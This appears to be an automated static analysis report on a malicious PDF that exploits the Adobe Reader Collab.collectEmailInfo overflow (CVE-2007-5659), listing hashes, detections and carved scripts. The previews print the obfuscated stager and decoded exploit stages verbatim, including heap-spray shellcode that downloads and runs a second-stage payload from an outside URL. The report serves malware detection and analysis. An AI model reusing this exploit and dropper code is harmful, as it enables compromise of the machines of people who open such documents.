Malicious PDF — malware analysis report

Static analysis result for SHA-256 7d9a5e15d6a9c783…

MALICIOUS

PDF

16.5 KB
MD5: 4a2ff03f1c64bc4385357bee4af87ad4 SHA-1: f2cf4a9d2e52a212354e95b95273af65a3556dd5 SHA-256: 7d9a5e15d6a9c78374a4d01ed77931c374842f3d9431308a56a406dbf3d3b49c
406 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains obfuscated JavaScript that exploits CVE-2007-5659, specifically targeting Adobe Reader versions within a certain patch range. The script is designed as a multi-stage dropper, first decoding a payload from the annotation subject and then using it to download a second-stage payload from the URL http://kilkas.info/page/information.html/n003106201r0010R3238be33Xd00698a8Y04c95fdfZ0100f080. The presence of anti-analysis checks and the complex decoding mechanism indicate a malicious intent to execute arbitrary code.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 5 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Obfuscated multi-stage PDF JavaScript dropper high PDF_JS_OBFUSCATED_DROPPER
    PDF JavaScript shows 4 independent signals of exploit-kit-style multi-stage obfuscation: annot_subject_stage, hex_codec_loop, incremental_eval_build, repeated_pluginschk. This is strongly consistent with pre-2011 Adobe Reader PDF droppers — OpenAction JS reads encoded data from annotation subjects, decodes it through one or more hex / base-N loops, and invokes eval indirectly (method name built one character at a time). The actual CVE is hidden in the final decoded layer and is not visible via static analysis.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Exploit.Agent-35901 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35901
  • Annotation subject callee-key hex JavaScript stager high PDF_ANNOT_SUBJECT_CALLEE_HEX_STAGER
    PDF JavaScript uses syncAnnotScan()/getAnnots() to read an indirect annotation /Subject stream, percent-decodes it through marker replacement, then uses a callee.toString()-derived key to decode and eval the final exploit stage.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://kilkas.info/page/information.html/n003106201r0010R3238be33Xd00698a8Y04c95fdfZ0100f080 Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js
4718a27c2224fc36bf24f8e8e04598f1ad78adce4401c7be2708318738a6983d		 pdf-javascript-stream PDF /JS object 9 at offset 0x3FAB 469 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var pr = null;
var fnc = 'ev';
var sum = '';

app.doc.syncAnnotScan();

if (app.plugIns.length != 0) {
	var num = 1;

	pr = app.doc.getAnnots(
		{
			nPage: 0
		}
	);

	sum = pr[num].subject;
}

var buf = "";

if (app.plugIns.length > 3) {
	fnc += 'a';
	var arr = sum.split(/-/);

	
	for (var i = 1; i < arr.length; i++) {
		buf += String.fromCharCode("0x"+arr[i]);
	}
	fnc += 'l';
}

if (app.plugIns.length >= 2)
{
	app[fnc]/**/(buf);
}
annotation_subject_callee_hex_stage_000.js
67919a11835d910673a070d6c74b57a3ee28cbbf796bf82b51483e816c414668		 deobfuscated-js annotation-subject callee-key decoded JavaScript at offset 0x19F1 5264 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var o_TFYO_31K2 = new Array();var N0j_EK_cOB_2 = 0;var UI___2V8J_3_s66 = "";function oq4_u0_j_8mY(Xb8___2, p2_1sl2i5_bJ1){var cw_XNf_p__k1R = p2_1sl2i5_bJ1.toString();var xBI_sHB__3_1wr = "";for(var o_s_Deb_3_o = 0; o_s_Deb_3_o < cw_XNf_p__k1R.length; o_s_Deb_3_o++) {var V4_82fKqh0gL_y = parseInt(cw_XNf_p__k1R.substr(o_s_Deb_3_o, 1));if (!isNaN(V4_82fKqh0gL_y)) {V4_82fKqh0gL_y = V4_82fKqh0gL_y.toString(16);if (V4_82fKqh0gL_y.length == 1) { V4_82fKqh0gL_y = "0" + V4_82fKqh0gL_y; }else if (V4_82fKqh0gL_y.length != 2) { V4_82fKqh0gL_y = "00"; }xBI_sHB__3_1wr = V4_82fKqh0gL_y + xBI_sHB__3_1wr;if (xBI_sHB__3_1wr.length == 8) {break;}}}while(xBI_sHB__3_1wr.length < 8) { xBI_sHB__3_1wr = "0" + xBI_sHB__3_1wr; }var nqDA8Q3BKf8 = Xb8___2.toString(16);if (nqDA8Q3BKf8.length == 1) { nqDA8Q3BKf8 = "0" + nqDA8Q3BKf8; }else if (nqDA8Q3BKf8.length != 2) { nqDA8Q3BKf8 = "00"; }xBI_sHB__3_1wr = "3" + nqDA8Q3BKf8 + "P" + xBI_sHB__3_1wr;return xBI_sHB__3_1wr;}function FO6a_n(n_H_J_yk7, vcbFsP3){var Q_oc__8ydy_1 = new Array("");var uY___c___4_0 = n_H_J_yk7;var Qhu6____vM;if ((Qhu6____vM = n_H_J_yk7.lastIndexOf("%u00")) != -1) {if (Qhu6____vM + 6 == n_H_J_yk7.length) {Q_oc__8ydy_1[0] = n_H_J_yk7.substr(Qhu6____vM + 4, 2);uY___c___4_0 = n_H_J_yk7.substring(0, Qhu6____vM);}}Qhu6____vM = 1;for (o_s_Deb_3_o = 0; o_s_Deb_3_o < vcbFsP3.length; o_s_Deb_3_o++) {var R6J1l10T3_jG = vcbFsP3.charCodeAt(o_s_Deb_3_o).toString(16);if (R6J1l10T3_jG.length == 1) { R6J1l10T3_jG = "0" + R6J1l10T3_jG; }Q_oc__8ydy_1[Qhu6____vM] = R6J1l10T3_jG;Qhu6____vM++;}o_s_Deb_3_o = Q_oc__8ydy_1[0].length ? 0 : 1;Q_oc__8ydy_1[Qhu6____vM] = "00";Q_oc__8ydy_1[Qhu6____vM + 1] = "00";Qhu6____vM += 2;if ((Q_oc__8ydy_1.length - o_s_Deb_3_o) % 2) {Q_oc__8ydy_1[Qhu6____vM] = "00";}while(o_s_Deb_3_o < Q_oc__8ydy_1.length) {uY___c___4_0 += "%u" + Q_oc__8ydy_1[o_s_Deb_3_o + 1] + Q_oc__8ydy_1[o_s_Deb_3_o];o_s_Deb_3_o += 2;}uY___c___4_0 += "%u0000";return uY___c___4_0;}function Q7_1_sEYMnslvAt(gK__37_a_07V, f7XBXgV){while (gK__37_a_07V.length*2<f7XBXgV) {gK__37_a_07V += gK__37_a_07V;}gK__37_a_07V = gK__37_a_07V.substring(0,f7XBXgV/2);return gK__37_a_07V;}function DI_b__oMD(xAmX__36, P74cU1bs, O____wS){var x___M_lk_d_3 = 0x0c0c0c0c;var gK__37_a_07V = unescape(P74cU1bs);var vcbFsP3 = oq4_u0_j_8mY(xAmX__36, O____wS);var Cy2____j1H7E2Q = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358%u10c4%u3350%uc3c0");var n_H_J_yk7 = "%u9050%u9050%u9050%u9050" + "%u9090%u9090%u9090%u9090%ufbe9%u0000%u5f00%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u2068%u7d80%u330c%u0374%ueb96%u8bf3%u0868%uf78b%u046a%ue859%u008f%u0000%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u8b16%ue8e8%u0079%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75%uef8b%u335f%u81c9%u04ec%u0001%u8b00%u51dc%u5352%u0468%u0001%uff00%u0c56%u595a%u5251%u028b%u4353%u3b80%u7500%u81fa%ufc7b%u652e%u6578%u0375%ueb83%u8908%uc703%u0443%u652e%u6578%u43c6%u0008%u8a5b%u04c1%u8830%u0045%uc033%u5050%u5753%uff50%u1056%uf883%u7500%u6a06%u5301%u56ff%u5a04%u8359%u04c2%u8041%u003a%ub475%u56ff%u5108%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%uf238%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%u00e8%uffff%u8eff%u0e4e%u98ec%u8afe%u7e0e%ue2d8%u3373%u8aca%u365b%u2f1a%u5270%u486a%u6f48%u6d54%u0071%u7468%u7074%u2f3a%u6b2f%u6c69%u616b%u2e73%u6e69%u6f66%u702f%u6761%u2f65%u6e69%u6f66%u6d72%u7461%u6f69%u2e6e%u7468%u6c6d%u6e2f%u3030%u3133%u3630%u3032%u7231%u3030%u3031%u3352%u3332%u6238%u3365%u5833%u3064%u3630%u3839%u3861%u3059%u6334%u3539%u6466%u5a66%u3130%u3030%u3066%u3038";app.E3w_0i6W_b2 = unescape(FO6a_n(n_H_J_yk7, vcbFsP3));var g0_s1Y = 0x400000;var nYCIdy_V0 = Cy2____j1H7E2Q.length * 2;var f7XBXgV = g0_s1Y - (nYCIdy_V0+0x38);gK__37_a_07V = Q7_1_sEYMnslvAt(gK__37_a_07V, f7XBXgV);var SW6_0_Fg2AI = (x___M_lk_d_3 - 0x400000)/g0_s1Y;for (var m2h40h_2P6o = 0; m2h40h_2P6o < SW6_0_Fg2AI; m2h40h_2P6o++) {o_TFYO_31K2[m2h40h_2P6o] =
... (truncated)
legacy_pdfkit_stage_000.js
0df4ec6379abbcdb7212020793a9944717410b903454043ae7b045bdf1e9dd14		 deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x1A45 11706 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function e_d_rm_0R2Hd(tVJ5J4, G7x_6m){var OGnaUx = new Array();var c2Exhd___L = 512;var xT3d_77_D_1F1l = 21;var rsf__3eQ = 0;var xIw__3D_m = 0;var a_TDI5_UH4_p = 0;var kTR6n6X8 = "";var rU__H2IDMf_m = "";var n1QGIfpngJ_Bd_3 = 6;try {var Bso_nQUdqG2G = 0;if (app) {a_TDI5_UH4_p = a_TDI5_UH4_p + 2;G7x_6m = pr[Bso_nQUdqG2G].subject;}} catch(e) { }a_TDI5_UH4_p = a_TDI5_UH4_p + 5;if (!tVJ5J4) { OGnaUx = new Array(226,37,249,168,96,162);} else {OGnaUx = tVJ5J4;}var Myn0J_vD1M = 0;var iv_NHX = 0;var Sc_y__n8_kbbe = 0;while(iv_NHX < G7x_6m.length) {var P___G_b__5_Ob = G7x_6m.substr(iv_NHX, 2);var a7XEi5R7_wx2d = parseInt(P___G_b__5_Ob, 21);if (Myn0J_vD1M >= n1QGIfpngJ_Bd_3) {Myn0J_vD1M = 0;}a7XEi5R7_wx2d -= OGnaUx[Myn0J_vD1M] * (Sc_y__n8_kbbe + 2);if (a7XEi5R7_wx2d < 0) {a7XEi5R7_wx2d -= Math.floor(a7XEi5R7_wx2d / 256) * (c2Exhd___L / 2);}if (iv_NHX >= 0) {a7XEi5R7_wx2d = String.fromCharCode(a7XEi5R7_wx2d);}if (a_TDI5_UH4_p == 6) {kTR6n6X8 += Kw32_K_CNjh;} else if (a_TDI5_UH4_p == 7) {kTR6n6X8 += a7XEi5R7_wx2d;} else {kTR6n6X8 += iv_NHX;}Myn0J_vD1M++;iv_NHX += 2;Sc_y__n8_kbbe++;}var ad_Xty778tu = this;ad_Xty778tu['ev'+'al'](kTR6n6X8);}
	e_d_rm_0R2Hd(0, "2g9j424k879g4g700j69ad546f5d9539c11h1155ab2e32354i398d2650a78e1h66139h77bf0223291a761i96180a1b30356h9i2k7e316i6k8b12adbib7585fbb1a764j533d9h1b565bbi0e967j5a0e132cafb82e0c0209791a0b4k9ja68f2e9iab5e79825f6f256e3d4g7d513f511c7822bh9k191g5h3b96ab330i508a604f179k3h9h6i83bc7k38211ib36347bh57bd34574j2a59bg4h5j2202896ab951bc17286h2c317b942h4k5c1k530064079208518iadb2ada01kad285d2b58b95h2h6a8b7e9f917e4c885ja783adc2323e87471abe390637392h59ah06564j66651dai0543b80a39650b4b1a0e7j7kab394baf0f3h7jbf848b4a4g7b1b8j2g832g5a07043cb31309bg56abc3939f038ead6k72a684ad647b8h7ga71j371a5k6f9k1b1a1f614h8i8b0j76473f4cahbabk1ec26g1a8e3808ba3a3j317kc0915i8c3h80a26j52adb7277i4j161aaj35320f011k5k9g4ha2b94d5e1e21b4068026261575a81hba8h014ic33d9k0d7d2b808j710k8c1582ak417a78b19i0c2bba279e5f42a41e1i73866dad5fc17e66ad8b6c1a615i2a5f0hbg3e312708187f1g554c99735gba268a9ja5719j131i642d5h53354h576d3k5jb15k0b6ib70ja6bk8i0i9i1aaebb9f3kb3c29b4j608b9j6e984c1b9j434e7g7d1b1b593h771haf814519923d94c10aai987i77340i8i7eak1535af7h69bhbh9h8c8f6226bi007j722c8496556e4i4c7d3c6b1ebj0hae588g2da02d2ebd3b0aaj2657be5jc096a6905h7b833h9dbk37369k2eaf4b4h485g21b05a186j6e0k759082021ia57dbb8k34338e6a4j557g1j355a4c4ia0a445839bc02h9d0369bac177660f601b5hb550984j8b4i024g8921ad16654142401g1f922b4ibh2j9297a5c1b18j884eag0b1e8j748ha6bg0g1k3jb64d9ha83a0h384b55b07c89611h5gb3868e9k3230aa1j2cbd9kak631b491f07996j7c1c75878h748ba79g957f39c14i0a451j2e2128843a1g4j8b1h95350h21ada9342b96082jb55g0j603758687i8f67bk6445117220be7d284a5a30071aa65d6f1gb45baic14hbc88585b090g9eac7d28771f5j81bh1i83a145912e9j26a23j878ca4266cbg44894f5j7j8873273bb2328f3c3318461a48364c9357b0281e7da6c1b01k1b0h50159f1f0g2h1d7e97002h7ib7a77g6caeb70b00485fbibc803k4b3f995374952k4cb94c1aaba3bd7e7d360c010984019h6b7h887g4i777h6e4g51574abb4k2g8dbh2i4h514f57021g9a171g3a5e04a2048k205a621b9j6k4iba556f8j76160232c2762k031bai2a4d0kbc4c06594i1k219b79a946a107ba7a2g0kb1c15b4j681g530064079208518iadb2ada01kad286j5c8f34994f73857b0i4k682j9955a77j801j2h2987591ac370003j2e5d8da4b656445a382hbk29517d2h52a00b381ab79k7ibg2d277faf3095238f5527567914bi334ac11kah2c38bja73cba4b0h29bj0bb07c8a617i7f8d7d8g9e788f8a1a6h1e4k509h4d401f4c53905d0d873d2f869g8d05279j3hb1743h198k5e4b5870c1811j5kc2b7975h439d093686301122a56d721i374g7kaa3f15b94e291g0d8ia8810317aa7a9bb6a5588h89014i6k8k9b5bc15d7a308c32b79g20433kb76ac10j7561b67d4bb51e4k9i6155a85c2h7e84b14f5j1h4d69255007b1196j4g3c3k75122e7a915k4h00439b9ca464af3kbg4g3c5d7d3c5b5b3d265j2j5d239i173a249g8ib08jbda2ae75278c0bba4b6j8b8i9eb07c28c34h4e8d7d2e3c475e8a1a0f7g1j179e5c97bg342c898672bhab99449k4e6j949i691a1gac8e563k5k0f05876j2k7c904b664k367d4j532a033f254k8g090d2d5a1c1j1fa41i5ab67c9069a6887279b361161a51238j419e4b4d2a5ab5c27g1b7j6abb8386bf0h4dadaa1j6j1331859e4b4i810h655i7c498j8g1e44bk262jabb95hbf9j458da5394067a16j961j5k2k2c4k8c2kbc2g300h6d3h1c1j78264e2j32bf9f0e292h7c6k41ad09b4ad6b4h6bbd120j46bj7f97c31jah0a314jba7j7b39382e95898e7a0322781a62c3ad1590553a5fbg7h675k9h63735h8b7d9fa0724d71ba5d2i484h643828581i
... (truncated)
deobfuscated.js
aef15790744d058469bc1dff9decfc547e61031ea537379ccec566b6a26d327e		 deobfuscated-js PDF JavaScript deobfuscation pass 89522 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s). Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
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... (truncated)

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